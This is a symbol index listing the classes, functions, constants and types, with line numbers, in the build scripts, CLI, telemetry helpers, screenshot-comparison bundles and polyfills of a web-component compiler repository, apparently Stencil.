method componentDidUpdate (line 1) | async componentDidUpdate(){await this.loadCompleted()}
method componentDidLoad (line 1) | async componentDidLoad(){await this.loadCompleted()}
method render (line 1) | render(){if(!this.match||!this.history)return null;const t=Object.assi...
method el (line 1) | get el(){return e(this)}
method watchers (line 1) | static get watchers(){return{location:["computeMatch"]}}
class S (line 1) | class S{constructor(s){t(this,s),this.group=((1e17*Math.random()).toStri...
method constructor (line 1) | constructor(s){t(this,s),this.group=((1e17*Math.random()).toString().m...
method componentWillLoad (line 1) | componentWillLoad(){null!=this.location&&this.regenerateSubscribers(th...
method regenerateSubscribers (line 1) | async regenerateSubscribers(t){if(null==t)return;let s=-1;if(this.subs...
method render (line 1) | render(){return s("slot",null)}
method el (line 1) | get el(){return e(this)}
method watchers (line 1) | static get watchers(){return{location:["regenerateSubscribers"]}}
class x (line 1) | class x{constructor(s){t(this,s),this.root="/",this.historyType="browser...
method constructor (line 1) | constructor(s){t(this,s),this.root="/",this.historyType="browser",this...
method componentWillLoad (line 1) | componentWillLoad(){this.history=A[this.historyType](this.el.ownerDocu...
method scrollTo (line 1) | scrollTo(t){const s=this.history;if(null!=t&&!this.isServer&&s)return"...
method render (line 1) | render(){if(this.location&&this.history)return s(i.Provider,{state:{hi...
method el (line 1) | get el(){return e(this)}
FILE: screenshot/compare/build/p-2c298727.entry.js
class s (line 1) | class s{constructor(t){e(this,t),this.appSrcUrl="",this.imagesUrl="/data...
method constructor (line 1) | constructor(t){e(this,t),this.appSrcUrl="",this.imagesUrl="/data/image...
method componentWillLoad (line 1) | async componentWillLoad(){let e="master";this.match&&this.match.params...
method render (line 1) | render(){const e=[];return this.build&&this.build.screenshots.forEach(...
FILE: screenshot/compare/build/p-5479268c.entry.js
function e (line 1) | function e(t,s){const i=Object.assign({},t,s),e=Object.keys(i),o=[];retu...
class o (line 1) | class o{constructor(s){t(this,s),this.appSrcUrl="",this.imagesUrl="/data...
method constructor (line 1) | constructor(s){t(this,s),this.appSrcUrl="",this.imagesUrl="/data/image...
method componentWillLoad (line 1) | async componentWillLoad(){this.match&&this.match.params.buildIdA&&this...
method componentDidLoad (line 1) | componentDidLoad(){if("IntersectionObserver"in window){const t={root:d...
method loadBuilds (line 1) | async loadBuilds(t,s){let i=`${this.buildsUrl}${t}.json`;"master"===t&...
method filterChange (line 1) | filterChange(t){this.filter=e(this.filter,t.detail),this.updateDiffs()}
method diffNavChange (line 1) | diffNavChange(t){const s=t.detail;this.filter=e(this.filter,{diff:s}),...
method navToDiff (line 1) | navToDiff(t){const s=document.getElementById("d-"+t),i=document.queryS...
method compareLoaded (line 1) | compareLoaded(t){const s=t.detail,i=this.diffs.find(t=>t.id===s.id);i&...
method updateDiffs (line 1) | updateDiffs(){var t;this.diffs=(t=this.filter,this.diffs.map(s=>(s=Obj...
method render (line 1) | render(){return[s("compare-header",{diffs:this.diffs,filter:this.filte...
FILE: screenshot/compare/build/p-573ec8a4.entry.js
class a (line 1) | class a{constructor(d){l(this,d),this.mismatchedPixels=null,this.diffNav...
method constructor (line 1) | constructor(d){l(this,d),this.mismatchedPixels=null,this.diffNavChange...
method navToDiff (line 1) | navToDiff(l){l.preventDefault(),l.stopPropagation(),this.diffNavChange...
method render (line 1) | render(){const l=this.diff,t="number"==typeof this.mismatchedPixels,a=...
FILE: screenshot/compare/build/p-6ba08604.entry.js
class o (line 1) | class o{constructor(i){t(this,i),this.a="",this.b=""}async componentWill...
method constructor (line 1) | constructor(i){t(this,i),this.a="",this.b=""}
method componentWillLoad (line 1) | async componentWillLoad(){const t="/data/builds/master.json?ts="+Date....
method onSubmit (line 1) | onSubmit(t){t.preventDefault(),t.stopPropagation();let i=this.a.trim()...
method render (line 1) | render(){return[i("header",null,i("div",{class:"logo"},i("a",{href:"/"...
FILE: screenshot/compare/build/p-6bc63295.entry.js
class i (line 1) | class i{constructor(t){s(this,t),this.when=!0,this.message=""}enable(s){...
method constructor (line 1) | constructor(t){s(this,t),this.when=!0,this.message=""}
method enable (line 1) | enable(s){this.unblock&&this.unblock(),this.history&&(this.unblock=thi...
method disable (line 1) | disable(){this.unblock&&(this.unblock(),this.unblock=void 0)}
method componentWillLoad (line 1) | componentWillLoad(){this.when&&this.enable(this.message)}
method updateMessage (line 1) | updateMessage(s,t){this.when?this.when&&t===s||this.enable(this.messag...
method componentDidUnload (line 1) | componentDidUnload(){this.disable()}
method render (line 1) | render(){return null}
method el (line 1) | get el(){return t(this)}
method watchers (line 1) | static get watchers(){return{message:["updateMessage"],when:["updateMe...
FILE: screenshot/compare/build/p-7a3759fd.entry.js
class s (line 1) | class s{constructor(i){e(this,i),this.filterChange=t(this,"filterChange"...
method constructor (line 1) | constructor(i){e(this,i),this.filterChange=t(this,"filterChange",7)}
method render (line 1) | render(){if(!this.diffs||0===this.diffs.length||!this.filter)return;co...
class a (line 1) | class a{constructor(t){e(this,t)}render(){return[i("header",null,i("div"...
method constructor (line 1) | constructor(t){e(this,t)}
method render (line 1) | render(){return[i("header",null,i("div",{class:"logo"},i("a",{href:"/"...
FILE: screenshot/compare/build/p-b4cc611c.entry.js
class i (line 1) | class i{constructor(e){t(this,e),this.titleSuffix="",this.pageTitle=""}u...
method constructor (line 1) | constructor(e){t(this,e),this.titleSuffix="",this.pageTitle=""}
method updateDocumentTitle (line 1) | updateDocumentTitle(){const t=this.el;t.ownerDocument&&(t.ownerDocumen...
method componentWillLoad (line 1) | componentWillLoad(){this.updateDocumentTitle()}
method el (line 1) | get el(){return e(this)}
method watchers (line 1) | static get watchers(){return{pageTitle:["updateDocumentTitle"]}}
FILE: screenshot/compare/build/p-d1bf53f5.entry.js
class r (line 1) | class r{constructor(i){t(this,i),this.unsubscribe=()=>{},this.activeClas...
method constructor (line 1) | constructor(i){t(this,i),this.unsubscribe=()=>{},this.activeClass="lin...
method componentWillLoad (line 1) | componentWillLoad(){this.computeMatch()}
method computeMatch (line 1) | computeMatch(){this.location&&(this.match=a(this.location.pathname,{pa...
method handleClick (line 1) | handleClick(t){var i,s;if(!e(t)&&this.history&&this.url&&this.root)ret...
method render (line 1) | render(){let t={class:{[this.activeClass]:null!==this.match},onClick:t...
method el (line 1) | get el(){return s(this)}
method watchers (line 1) | static get watchers(){return{location:["computeMatch"]}}
FILE: screenshot/compare/build/p-e8ca6d97.entry.js
class i (line 1) | class i{constructor(r){t(this,r)}componentWillLoad(){if(this.history&&th...
method constructor (line 1) | constructor(r){t(this,r)}
method componentWillLoad (line 1) | componentWillLoad(){if(this.history&&this.root&&this.url)return this.h...
method el (line 1) | get el(){return r(this)}
FILE: screenshot/compare/build/p-ec2f13e0.entry.js
class n (line 1) | class n{constructor(e){t(this,e),this.content=""}componentWillLoad(){if(...
method constructor (line 1) | constructor(e){t(this,e),this.content=""}
method componentWillLoad (line 1) | componentWillLoad(){if(null!=this.documentLocation)return this.fetchNe...
method fetchNewContent (line 1) | fetchNewContent(t){return fetch(t).then(t=>t.text()).then(t=>{this.con...
method render (line 1) | render(){return e("div",{innerHTML:this.content})}
method watchers (line 1) | static get watchers(){return{documentLocation:["fetchNewContent"]}}
FILE: screenshot/compare/build/p-f0b99977.entry.js
class e (line 1) | class e{constructor(s){t(this,s),this.context={},this.renderer=()=>null}...
method constructor (line 1) | constructor(s){t(this,s),this.context={},this.renderer=()=>null}
method connectedCallback (line 1) | connectedCallback(){null!=this.subscribe&&(this.unsubscribe=this.subsc...
method disconnectedCallback (line 1) | disconnectedCallback(){null!=this.unsubscribe&&this.unsubscribe()}
method render (line 1) | render(){return this.renderer(Object.assign({},this.context))}
method el (line 1) | get el(){return s(this)}
FILE: screenshot/compare/build/p-f4745c2f.entry.js
function o (line 1) | function o(t){return ArrayBuffer.isView(t)&&1===t.constructor.BYTES_PER_...
function r (line 1) | function r(t,s,i,e,n,h){const o=Math.max(s-1,0),r=Math.max(i-1,0),c=Math...
function a (line 1) | function a(t,s,i,e,n){const h=Math.max(s-1,0),o=Math.max(i-1,0),r=Math.m...
function l (line 1) | function l(t,s,i,e,n){let h=t[i+0],o=t[i+1],r=t[i+2],a=t[i+3],l=s[e+0],p...
function c (line 1) | function c(t,s,i){return.29889531*t+.58662247*s+.11448223*i}
function d (line 1) | function d(t,s,i){return.59597799*t-.2741761*s-.32180189*i}
function f (line 1) | function f(t,s,i){return.21147017*t-.52261711*s+.31114694*i}
function u (line 1) | function u(t,s){return 255+(t-255)*s}
function p (line 1) | function p(t,s,i,e,n){t[s+0]=i,t[s+1]=e,t[s+2]=n,t[s+3]=255}
function m (line 1) | function m(t,s,i,e){const n=u(c(t[s+0],t[s+1],t[s+2]),i*t[s+3]/255);p(e,...
function g (line 1) | function g(t,s,i){if(y.has(s))return void i(y.get(s));if(w.has(s))return...
class v (line 1) | class v{constructor(i){t(this,i),this.imageASrc=null,this.imageBSrc=null...
method constructor (line 1) | constructor(i){t(this,i),this.imageASrc=null,this.imageBSrc=null,this....
method componentWillLoad (line 1) | componentWillLoad(){this.loadScreenshots()}
method componentWillUpdate (line 1) | componentWillUpdate(){this.loadScreenshots()}
method loadScreenshots (line 1) | loadScreenshots(){if(this.show&&this.diff.hasIntersected)return this.d...
method compareImages (line 1) | async compareImages(){const t=this.diff;this.isImageALoaded&&this.isIm...
method render (line 1) | render(){const t=this.diff,s={width:t.width+"px",height:t.height+"px"}...
method elm (line 1) | get elm(){return e(this)}
class b (line 1) | class b{constructor(s){t(this,s)}render(){if(!this.a||!this.b||!this.dif...
method constructor (line 1) | constructor(s){t(this,s)}
method render (line 1) | render(){if(!this.a||!this.b||!this.diffs)return;let t=0;this.diffs.fo...
FILE: screenshot/compare/build/p-fbbae598.js
method get (line 1) | get(){return((e,t)=>ae(this).D.get(t))(0,e)}
method set (line 1) | set(n){((e,t,n,l)=>{const o=ae(this),s=o.D.get(t),r=o.t,i=o.s;if(n=((e,t...
method constructor (line 1) | constructor(e){super(e),ue(e=this,s),1&s.t&&e.attachShadow({mode:"open"})}
method connectedCallback (line 1) | connectedCallback(){p&&(clearTimeout(p),p=null),m?u.push(this):f.jmp(()=...
method disconnectedCallback (line 1) | disconnectedCallback(){f.jmp(()=>(()=>{if(0==(1&f.t)){const e=ae(this),t...
method forceUpdate (line 1) | forceUpdate(){(()=>{{const e=ae(this);e.M.isConnected&&2==(18&e.t)&&K(e,...
method componentOnReady (line 1) | componentOnReady(){return ae(this).A}
FILE: scripts/build.ts
function run (line 14) | async function run(rootDir: string, args: ReadonlyArray<string>) {
function buildAll (line 38) | async function buildAll(opts: BuildOptions) {
FILE: scripts/esbuild/cli.ts
function buildCli (line 16) | async function buildCli(opts: BuildOptions) {
FILE: scripts/esbuild/compiler.ts
function buildCompiler (line 14) | async function buildCompiler(opts: BuildOptions) {
function getTypeScriptDefaultLibNames (line 114) | async function getTypeScriptDefaultLibNames(opts: BuildOptions): Promise...
FILE: scripts/esbuild/dev-server.ts
constant CONNECTOR_NAME (line 15) | const CONNECTOR_NAME = 'connector.html';
function buildDevServer (line 23) | async function buildDevServer(opts: BuildOptions) {
function appErrorCssPlugin (line 179) | function appErrorCssPlugin(opts: BuildOptions): Plugin {
function clientConnectorPlugin (line 201) | function clientConnectorPlugin(opts: BuildOptions): Plugin {
function serverProcessAliasPlugin (line 250) | function serverProcessAliasPlugin(): Plugin {
function esm2CJSPlugin (line 269) | function esm2CJSPlugin(): Plugin {
function contentTypesPlugin (line 288) | function contentTypesPlugin(opts: BuildOptions): Plugin {
FILE: scripts/esbuild/helpers/lazy-require.js
function _lazyRequire (line 2) | function _lazyRequire(moduleId) {
FILE: scripts/esbuild/internal-app-data.ts
function getInternalAppDataBundles (line 17) | async function getInternalAppDataBundles(opts: BuildOptions): Promise<ES...
FILE: scripts/esbuild/internal-app-globals.ts
function getInternalAppGlobalsBundles (line 17) | async function getInternalAppGlobalsBundles(opts: BuildOptions): Promise...
FILE: scripts/esbuild/internal-platform-client.ts
function getInternalClientBundles (line 20) | async function getInternalClientBundles(opts: BuildOptions): Promise<ESB...
function findAndReplaceLoadModule (line 110) | function findAndReplaceLoadModule(): Plugin {
function copyPolyfills (line 125) | async function copyPolyfills(opts: BuildOptions, outputInternalClientPol...
FILE: scripts/esbuild/internal-platform-hydrate.ts
function getInternalPlatformHydrateBundles (line 19) | async function getInternalPlatformHydrateBundles(opts: BuildOptions): Pr...
function createHydrateRunnerDtsBundle (line 81) | async function createHydrateRunnerDtsBundle(opts: BuildOptions, inputHyd...
FILE: scripts/esbuild/internal-platform-testing.ts
function getInternalTestingBundle (line 17) | async function getInternalTestingBundle(opts: BuildOptions): Promise<ESB...
FILE: scripts/esbuild/internal.ts
function buildInternal (line 24) | async function buildInternal(opts: BuildOptions) {
function copyStencilCoreEntry (line 77) | async function copyStencilCoreEntry(opts: BuildOptions) {
function copyStencilInternalDts (line 112) | async function copyStencilInternalDts(opts: BuildOptions, outputInternal...
function prependExtModules (line 190) | function prependExtModules(content: string) {
FILE: scripts/esbuild/mock-doc.ts
function buildMockDoc (line 17) | async function buildMockDoc(opts: BuildOptions) {
function bundleMockDocDts (line 73) | async function bundleMockDocDts(inputDir: string, outputDir: string) {
function getDtsContent (line 92) | async function getDtsContent(inputDir: string, inputDtsFile: string) {
function getMockDocExports (line 130) | function getMockDocExports(srcIndexDts: string) {
FILE: scripts/esbuild/screenshot.ts
function buildScreenshot (line 15) | async function buildScreenshot(opts: BuildOptions) {
FILE: scripts/esbuild/sys-node.ts
function buildSysNode (line 12) | async function buildSysNode(opts: BuildOptions) {
function sysNodeExternalBundles (line 89) | async function sysNodeExternalBundles(opts: BuildOptions) {
function bundleExternal (line 111) | function bundleExternal(opts: BuildOptions, outputDir: string, cachedDir...
FILE: scripts/esbuild/testing.ts
constant EXTERNAL_TESTING_MODULES (line 17) | const EXTERNAL_TESTING_MODULES = [
function buildTesting (line 26) | async function buildTesting(opts: BuildOptions) {
function getLazyRequireFn (line 91) | function getLazyRequireFn(opts: BuildOptions) {
function lazyRequirePlugin (line 95) | function lazyRequirePlugin(opts: BuildOptions, moduleIds: string[]): Plu...
function ignorePuppeteerDependency (line 125) | function ignorePuppeteerDependency(opts: BuildOptions): Plugin {
function copyTestingInternalDts (line 136) | async function copyTestingInternalDts(opts: BuildOptions, inputDir: stri...
function writePatchedPuppeteerDts (line 160) | async function writePatchedPuppeteerDts(opts: BuildOptions) {
FILE: scripts/esbuild/utils/alias-plugin.ts
function aliasPlugin (line 11) | function aliasPlugin(opts: BuildOptions): Plugin {
FILE: scripts/esbuild/utils/content-types.ts
function createContentTypeData (line 6) | async function createContentTypeData(opts: BuildOptions) {
FILE: scripts/esbuild/utils/index.ts
function getEsbuildAliases (line 12) | function getEsbuildAliases(): Record<string, string> {
function runBuilds (line 65) | function runBuilds(builds: ESBuildOptions[], opts: BuildOptions): Promis...
function getBaseEsbuildOptions (line 84) | function getBaseEsbuildOptions(): ESBuildOptions {
function getEsbuildTargets (line 109) | function getEsbuildTargets(): string[] {
function externalAlias (line 120) | function externalAlias(moduleId: string, resolveToPath: string): Plugin {
function getFirstOutputFile (line 143) | function getFirstOutputFile(buildResult: ESBuildResult): OutputFile {
FILE: scripts/esbuild/utils/parse5.ts
function bundleParse5 (line 16) | async function bundleParse5(opts: BuildOptions): Promise<[contents: stri...
FILE: scripts/esbuild/utils/terser.ts
function bundleTerser (line 13) | async function bundleTerser(opts: BuildOptions): Promise<[content: strin...
FILE: scripts/esbuild/utils/typescript-source.ts
function bundleTypeScriptSource (line 13) | async function bundleTypeScriptSource(tsPath: string, opts: BuildOptions...
function tsCacheFilePath (line 108) | function tsCacheFilePath(opts: BuildOptions): string {
FILE: scripts/release-tasks.ts
function execa (line 16) | async function execa(command: string, args: string[], options?: any) {
function runReleaseTasks (line 40) | async function runReleaseTasks(opts: BuildOptions, args: ReadonlyArray<s...
FILE: scripts/release.ts
function release (line 16) | async function release(rootDir: string, args: ReadonlyArray<string>): Pr...
function prepareRelease (line 90) | async function prepareRelease(opts: BuildOptions, args: ReadonlyArray<st...
function publishRelease (line 111) | async function publishRelease(opts: BuildOptions, args: ReadonlyArray<st...
FILE: scripts/test/validate-build.ts
function validateBuild (line 126) | async function validateBuild(rootDir: string): Promise<void> {
function validatePackage (line 147) | function validatePackage(opts: BuildOptions, testPkg: TestPackage, dtsEn...
function validateDts (line 231) | function validateDts(opts: BuildOptions, dtsEntries: string[]): void {
function validateCompiler (line 261) | async function validateCompiler(opts: BuildOptions): Promise<void> {
function validateTreeshaking (line 319) | async function validateTreeshaking(opts: BuildOptions) {
function validateModuleTreeshake (line 335) | async function validateModuleTreeshake(opts: BuildOptions, moduleName: s...
type TestPackage (line 405) | interface TestPackage {
FILE: scripts/updateSelectorEngine.ts
constant WINDOW_MOCK (line 18) | const WINDOW_MOCK = `{
function run (line 31) | async function run() {
function runCommand (line 94) | function runCommand(cmd: string, cwd: string) {
FILE: scripts/utils/banner.ts
function getBanner (line 3) | function getBanner(opts: BuildOptions, fileName: string, license = false) {
FILE: scripts/utils/bundle-dts.ts
function bundleDts (line 19) | async function bundleDts(
function cleanDts (line 50) | function cleanDts(dtsContent: string) {
FILE: scripts/utils/constants.ts
constant NODE_BUILTINS (line 4) | const NODE_BUILTINS = [
FILE: scripts/utils/options.ts
function getOptions (line 18) | function getOptions(rootDir: string, inputOpts: Partial<BuildOptions> = ...
function createReplaceData (line 118) | function createReplaceData(opts: BuildOptions): Record<string, any> {
type VersionedPackageData (line 154) | type VersionedPackageData = PackageData & { version: string };
function getPkg (line 162) | function getPkg(nodeModulesDir: string, pkgName: string): VersionedPacka...
type BuildOptions (line 170) | interface BuildOptions {
function getBuildId (line 218) | function getBuildId(): string {
type DevVersionContents (line 225) | interface DevVersionContents {
function getSevenCharGitSha (line 246) | function getSevenCharGitSha(): string {
function getDevVersionId (line 263) | function getDevVersionId(devVersionContents: DevVersionContents): string {
FILE: scripts/utils/postcss-rollup.js
method resolveId (line 17) | resolveId(importee, importer) {
FILE: scripts/utils/release-utils.ts
constant SEMVER_INCREMENTS (line 8) | const SEMVER_INCREMENTS: ReadonlyArray<string> = [
constant PRERELEASE_VERSIONS (line 18) | const PRERELEASE_VERSIONS: ReadonlyArray<string> = ['prepatch', 'premino...
function getNewVersion (line 57) | function getNewVersion(oldVersion: string, input: any): string {
function prettyVersionDiff (line 72) | function prettyVersionDiff(oldVersion: string, inc: any): string {
function updateChangeLog (line 100) | async function updateChangeLog(opts: BuildOptions): Promise<void> {
function postGithubRelease (line 132) | async function postGithubRelease(opts: BuildOptions): Promise<void> {
FILE: scripts/utils/vermoji.ts
constant UNKNOWN_VERMOJI (line 3) | const UNKNOWN_VERMOJI = '❓';
function getVermoji (line 323) | function getVermoji(changelogPath: string) {
function getLatestVermoji (line 347) | function getLatestVermoji(changelogPath: string) {
FILE: scripts/utils/write-pkg-json.ts
function writePkgJson (line 6) | function writePkgJson(opts: BuildOptions, pkgDir: string, pkgData: Packa...
constant PROPS_ORDER (line 39) | const PROPS_ORDER = [
type PackageData (line 55) | interface PackageData {
FILE: src/app-data/index.ts
constant BUILD (line 25) | const BUILD: BuildConditionals = {
constant NAMESPACE (line 109) | const NAMESPACE = /* default */ 'app' as string;
FILE: src/cli/config-flags.ts
constant BOOLEAN_CLI_FLAGS (line 6) | const BOOLEAN_CLI_FLAGS = [
constant NUMBER_CLI_FLAGS (line 95) | const NUMBER_CLI_FLAGS = [
constant STRING_CLI_FLAGS (line 107) | const STRING_CLI_FLAGS = [
constant STRING_ARRAY_CLI_FLAGS (line 154) | const STRING_ARRAY_CLI_FLAGS = [
constant STRING_NUMBER_CLI_FLAGS (line 184) | const STRING_NUMBER_CLI_FLAGS = ['maxWorkers'] as const;
constant BOOLEAN_STRING_CLI_FLAGS (line 189) | const BOOLEAN_STRING_CLI_FLAGS = [
constant LOG_LEVEL_CLI_FLAGS (line 211) | const LOG_LEVEL_CLI_FLAGS = ['logLevel'] as const;
type ArrayValuesAsUnion (line 218) | type ArrayValuesAsUnion<T extends ReadonlyArray<string>> = T[number];
type BooleanCLIFlag (line 220) | type BooleanCLIFlag = ArrayValuesAsUnion<typeof BOOLEAN_CLI_FLAGS>;
type StringCLIFlag (line 221) | type StringCLIFlag = ArrayValuesAsUnion<typeof STRING_CLI_FLAGS>;
type StringArrayCLIFlag (line 222) | type StringArrayCLIFlag = ArrayValuesAsUnion<typeof STRING_ARRAY_CLI_FLA...
type NumberCLIFlag (line 223) | type NumberCLIFlag = ArrayValuesAsUnion<typeof NUMBER_CLI_FLAGS>;
type StringNumberCLIFlag (line 224) | type StringNumberCLIFlag = ArrayValuesAsUnion<typeof STRING_NUMBER_CLI_F...
type BooleanStringCLIFlag (line 225) | type BooleanStringCLIFlag = ArrayValuesAsUnion<typeof BOOLEAN_STRING_CLI...
type LogCLIFlag (line 226) | type LogCLIFlag = ArrayValuesAsUnion<typeof LOG_LEVEL_CLI_FLAGS>;
type KnownCLIFlag (line 228) | type KnownCLIFlag =
type AliasMap (line 237) | type AliasMap = Partial<Record<string, KnownCLIFlag>>;
constant CLI_FLAG_ALIASES (line 242) | const CLI_FLAG_ALIASES: AliasMap = {
constant CLI_FLAG_REGEX (line 265) | const CLI_FLAG_REGEX = new RegExp(`^-[chpvbewofitu]{1}$`);
type ObjectFromKeys (line 275) | type ObjectFromKeys<K extends ReadonlyArray<string>, T> = {
type BooleanConfigFlags (line 283) | type BooleanConfigFlags = ObjectFromKeys<typeof BOOLEAN_CLI_FLAGS, boole...
type StringConfigFlags (line 289) | type StringConfigFlags = ObjectFromKeys<typeof STRING_CLI_FLAGS, string>;
type StringArrayConfigFlags (line 295) | type StringArrayConfigFlags = ObjectFromKeys<typeof STRING_ARRAY_CLI_FLA...
type NumberConfigFlags (line 301) | type NumberConfigFlags = ObjectFromKeys<typeof NUMBER_CLI_FLAGS, number>;
type StringNumberConfigFlags (line 307) | type StringNumberConfigFlags = ObjectFromKeys<typeof STRING_NUMBER_CLI_F...
type BooleanStringConfigFlags (line 313) | type BooleanStringConfigFlags = ObjectFromKeys<typeof BOOLEAN_STRING_CLI...
type LogLevelFlags (line 319) | type LogLevelFlags = ObjectFromKeys<typeof LOG_LEVEL_CLI_FLAGS, LogLevel>;
type ConfigFlags (line 335) | interface ConfigFlags
FILE: src/cli/find-config.ts
type FindConfigOptions (line 9) | type FindConfigOptions = {
type FindConfigResults (line 17) | type FindConfigResults = {
FILE: src/cli/ionic-config.ts
function readConfig (line 17) | async function readConfig(sys: d.CompilerSystem): Promise<d.TelemetryCon...
function writeConfig (line 42) | async function writeConfig(sys: d.CompilerSystem, config: d.TelemetryCon...
function updateConfig (line 61) | async function updateConfig(sys: d.CompilerSystem, newOptions: d.Telemet...
FILE: src/cli/load-compiler.ts
type CoreCompiler (line 7) | type CoreCompiler = typeof import('@stencil/core/compiler');
FILE: src/cli/parse-flags.ts
constant CLI_ARG_STRING_REGEX (line 371) | const CLI_ARG_STRING_REGEX = /[^\d\.Ee\+\-]+/g;
type CLIValueResult (line 380) | type CLIValueResult = string | typeof Empty;
FILE: src/cli/task-generate.ts
type GeneratableExtension (line 366) | type GeneratableExtension = 'tsx' | 'spec.tsx' | 'e2e.ts' | GeneratableS...
type GeneratableStylingExtension (line 371) | type GeneratableStylingExtension = 'css' | 'sass' | 'scss' | 'less';
type BoilerplateFile (line 377) | interface BoilerplateFile {
FILE: src/cli/telemetry/helpers.ts
constant UUID_REGEX (line 28) | const UUID_REGEX = new RegExp(/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89...
function uuidv4 (line 31) | function uuidv4(): string {
function readJson (line 46) | async function readJson(sys: d.CompilerSystem, path: string): Promise<an...
function hasDebug (line 56) | function hasDebug(flags: ConfigFlags): boolean {
function hasVerbose (line 65) | function hasVerbose(flags: ConfigFlags): boolean {
FILE: src/cli/telemetry/shouldTrack.ts
function shouldTrack (line 12) | async function shouldTrack(config: d.ValidatedConfig, sys: d.CompilerSys...
FILE: src/cli/telemetry/telemetry.ts
function telemetryBuildFinishedAction (line 17) | async function telemetryBuildFinishedAction(
function telemetryAction (line 47) | async function telemetryAction(
function hasAppTarget (line 95) | function hasAppTarget(config: d.ValidatedConfig): boolean {
function isUsingYarn (line 101) | function isUsingYarn(sys: d.CompilerSystem) {
function getActiveTargets (line 113) | function getActiveTargets(config: d.ValidatedConfig): string[] {
type ConfigStringKeys (line 174) | type ConfigStringKeys = keyof {
constant OUTPUT_TARGET_KEYS_TO_KEEP (line 182) | const OUTPUT_TARGET_KEYS_TO_KEEP: ReadonlyArray<string> = ['type'];
constant CONFIG_PROPS_TO_ANONYMIZE (line 185) | const CONFIG_PROPS_TO_ANONYMIZE: ReadonlyArray<ConfigStringKeys> = [
constant CONFIG_PROPS_TO_DELETE (line 201) | const CONFIG_PROPS_TO_DELETE: ReadonlyArray<keyof d.Config> = [
function getInstalledPackages (line 275) | async function getInstalledPackages(
function npmPackages (line 330) | async function npmPackages(sys: d.CompilerSystem, ionicPackages: [string...
function yarnPackages (line 347) | async function yarnPackages(sys: d.CompilerSystem, ionicPackages: [strin...
function sanitizeDeclaredVersion (line 366) | function sanitizeDeclaredVersion(version: string): string {
function sendMetric (line 379) | async function sendMetric(
function getTelemetryToken (line 404) | async function getTelemetryToken(sys: d.CompilerSystem) {
function sendTelemetry (line 419) | async function sendTelemetry(sys: d.CompilerSystem, config: d.ValidatedC...
function checkTelemetry (line 458) | async function checkTelemetry(sys: d.CompilerSystem): Promise<boolean> {
function enableTelemetry (line 472) | async function enableTelemetry(sys: d.CompilerSystem): Promise<boolean> {
function disableTelemetry (line 481) | async function disableTelemetry(sys: d.CompilerSystem): Promise<boolean> {
function getMajorVersion (line 490) | function getMajorVersion(version: string): string {
FILE: src/cli/test/ionic-config.spec.ts
constant UUID1 (line 7) | const UUID1 = '5588e0f0-02b5-4afa-8194-5d8f78683b36';
constant UUID2 (line 8) | const UUID2 = 'e5609819-5c24-4fa2-8817-e05ca10b8cae';
FILE: src/cli/test/task-generate.spec.ts
function silentGenerate (line 54) | async function silentGenerate(config: d.ValidatedConfig): Promise<void> {
FILE: src/client/client-load-module.ts
constant MODULE_IMPORT_PREFIX (line 24) | const MODULE_IMPORT_PREFIX = './';
FILE: src/client/client-log.ts
constant STENCIL_DEV_MODE (line 9) | const STENCIL_DEV_MODE = BUILD.isTesting
FILE: src/client/client-window.ts
type StencilWindow (line 5) | interface StencilWindow extends Omit<Window, 'document'> {
method get (line 42) | get() {
FILE: src/client/polyfills/core-js.js
function e (line 7) | function e(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{...
function t (line 7) | function t(){}
function t (line 7) | function t(){}
function o (line 7) | function o(t,n){return RegExp(t,n)}
function m (line 7) | function m(t,e,r,o,a,u){var c=r+t.length,f=o.length,s=g;return void 0!==...
function h (line 11) | function h(t){if("string"!=typeof t&&(t=String(t)),/[^a-z0-9\-#$%&'*+.^_...
function u (line 11) | function u(t){return"string"!=typeof t&&(t=String(t)),t}
function f (line 11) | function f(t){var e={next:function(){var e=t.shift();return{done:void 0=...
function d (line 11) | function d(t){this.map={},t instanceof d?t.forEach((function(t,e){this.a...
function c (line 11) | function c(t){if(t.bodyUsed)return Promise.reject(new TypeError("Already...
function p (line 11) | function p(t){return new Promise((function(e,r){t.onload=function(){e(t....
function y (line 11) | function y(t){var e=new FileReader,r=p(e);return e.readAsArrayBuffer(t),r}
function l (line 11) | function l(t){if(t.slice)return t.slice(0);var e=new Uint8Array(t.byteLe...
function b (line 11) | function b(){return this.bodyUsed=!1,this._initBody=function(t){var r;th...
function w (line 11) | function w(t,e){var r,o,n=(e=e||{}).body;if(t instanceof w){if(t.bodyUse...
function v (line 11) | function v(t){var e=new FormData;return t.trim().split("&").forEach((fun...
function E (line 11) | function E(t,e){e||(e={}),this.type="default",this.status=void 0===e.sta...
function _ (line 11) | function _(e,r){return new Promise((function(n,i){var s=new w(e,r);if(s....
FILE: src/client/polyfills/dom.js
function g (line 10) | function g(a){var b=aa.has(a);a=/^[a-z][.0-9_a-z]*-[\-.0-9_a-z]*$/.test(...
function l (line 10) | function l(a){var b=a.isConnected;if(void 0!==b)return b;for(;a&&!(a.__C...
function n (line 11) | function n(a,b){for(;b&&b!==a&&!b.nextSibling;)b=b.parentNode;return b&&...
function p (line 12) | function p(a,b,d){d=void 0===d?new Set:d;for(var c=a;c;){if(c.nodeType==...
function r (line 12) | function r(a,b,d){a[b]=d}
function u (line 12) | function u(){this.a=new Map;this.g=new Map;this.c=[];this.f=[];this.b=!1}
function ba (line 12) | function ba(a,b,d){a.a.set(b,d);a.g.set(d.constructorFunction,d)}
function ca (line 12) | function ca(a,b){a.b=!0;a.c.push(b)}
function da (line 12) | function da(a,b){a.b=!0;a.f.push(b)}
function v (line 12) | function v(a,b){a.b&&p(b,function(b){return w(a,b)})}
function w (line 12) | function w(a,b){if(a.b&&!b.__CE_patched){b.__CE_patched=!0;for(var d=0;d...
function x (line 13) | function x(a,b){var d=[];p(b,function(b){return d.push(b)});for(b=0;b<d....
function z (line 13) | function z(a,b){var d=[];p(b,function(b){return d.push(b)});for(b=0;b<d....
function A (line 14) | function A(a,b,d){d=void 0===d?{}:d;var c=d.u||new Set,e=d.i||function(b...
function y (line 16) | function y(a,b){if(void 0===b.__CE_state){var d=b.ownerDocument;if(d.def...
function B (line 18) | function B(a){var b=document;this.c=a;this.a=b;this.b=void 0;A(this.c,th...
function C (line 18) | function C(a){a.b&&a.b.disconnect()}
function ea (line 18) | function ea(){var a=this;this.b=this.a=void 0;this.c=new Promise(functio...
function D (line 18) | function D(a){if(a.a)throw Error("Already resolved.");a.a=void 0;a.b&&a....
function E (line 18) | function E(a){this.c=!1;this.a=a;this.j=new Map;this.f=function(b){retur...
